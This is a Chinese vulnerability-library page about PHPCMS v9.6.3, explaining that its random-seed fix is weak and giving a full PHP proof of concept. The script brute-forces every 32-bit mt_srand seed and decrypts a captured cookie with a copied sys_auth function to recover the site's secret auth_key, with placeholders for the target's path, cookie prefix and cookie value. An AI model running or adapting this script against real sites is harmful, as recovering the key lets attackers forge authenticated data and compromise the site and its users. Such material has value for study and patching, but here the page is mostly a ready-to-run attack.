PHPCMS v9.6.3 前台RCE -SINFVNCTION-漏洞文库小世界-安全文库-NGC660安全实验室

PHPCMS v9.6.3 前台RCE -SINFVNCTION

产品描述

PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,是一款具备文章、下载、图片、分类信息、影视、商城、采集、财务等众多功能的强大、易用、可扩展的优秀网站管理软件。 > PHPCMS v9.6.3 最终版停止维护

漏洞介绍

PHPCMS团队于v9.6.2-v9.6.3修复了随机数种子爆破问题,修复的方法是在每次随机数种子生成之前进行随机播种,但是默认情况下的php_mt_srand的种⼦类型是uint32_t,范围是2^32-1,数量并不太大,我们如果能在本地遍历一遍,并不需要多少时间。也就是说,PHPCMS这里的修复方式,通过调用多次mt_srand()实现重置种子是不安全的。php默认生成的种子范围是2^32-1,我们本地机器爆破依然是可以出来的,最终也是可以拿到正确的auth_key

漏洞复现

对比一下9.6.1和9.6.3 PHPCMS对于auth_key生成的区别,就是对每一次生成随机数之前进行一次播种

1609399890208-bc0b14b7-26b5-4920-befe-1bce7c8d0695

1609400140143-4e8ad198-794b-4bba-81d1-87bffeff78c7

但是php mt_srand()生成的种子范围是在2^32-1,数量不是很大,导致我们本地可以爆破,我们只需要找到一个PHPCMS内部使用这个auth_key进行计算,且计算结果可以被我们获取到的点,而auth_key作为phpcms的加密key,最常见的例子就是用来加密Cookie了。我们直接拿phpcms的set_cookie里的sys_auth函数用作本地加解密,再去用mt_srand函数去爆破随机数种子,最终用sys_auth去解密,拿到的值如果等于用户名,则当前的auth_key是正确的

最终POC

关键解密代码都已加了注释


<?php
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);

  $result = '';
  $box = range(0, 255);

  $rndkey = array();
  for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  }

  for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }

  if($operation == 'DECODE') {
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
      return substr($result, 26);
    } else {
      return '';
    }
  } else {
    return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
  }
}
function random($length, $chars = '0123456789', $seed) {
  $hash = '';
  $max = strlen($chars) - 1;
  mt_srand($seed); //手动循环写入种子
  for($i = 0; $i < $length; $i++) {
    $hash .= $chars[mt_rand(0, $max)];
  }
  return $hash;
}

for($i=0;$i<=4294967296;$i++){
	echo "Testing seed {$i}\n";
	$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVW
XYZ', $i);
	$path = '/Applications/MxSrvs/www/phpcms/phpcms/'; //ᬯ᯾这里修改成你的WEB路径
	$cookie_pre = 'xHifh_'; //ᬯ᯾这里修改成你的cookie前缀
	$auth_key = md5("{$path}cookie{$cookie_pre}mood_id").$auth_key; //拼接解密的auth_key参数
	$value = "0238AC7xVcVtt9GZ22E1Aa712t8TuE5vDem01hDunnsjC1z1"; //ᬯ᯾这里修改成你获取到的cookie
	$result = sys_auth($value, 'DECODE', $auth_key); //用auth_key和cookie去解密
	if(strstr($result,'xiaoze')){ //如果解密之后的值等于xiaoze 则auth key 正确
			echo "seed: {$i}\n";
			echo "auth_key: ".random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLM
	NOPQRSTUVWXYZ',$i)."\n"; //打印auth_key
		break; 
	}
}
请登录后发表评论

    请登录后查看回复内容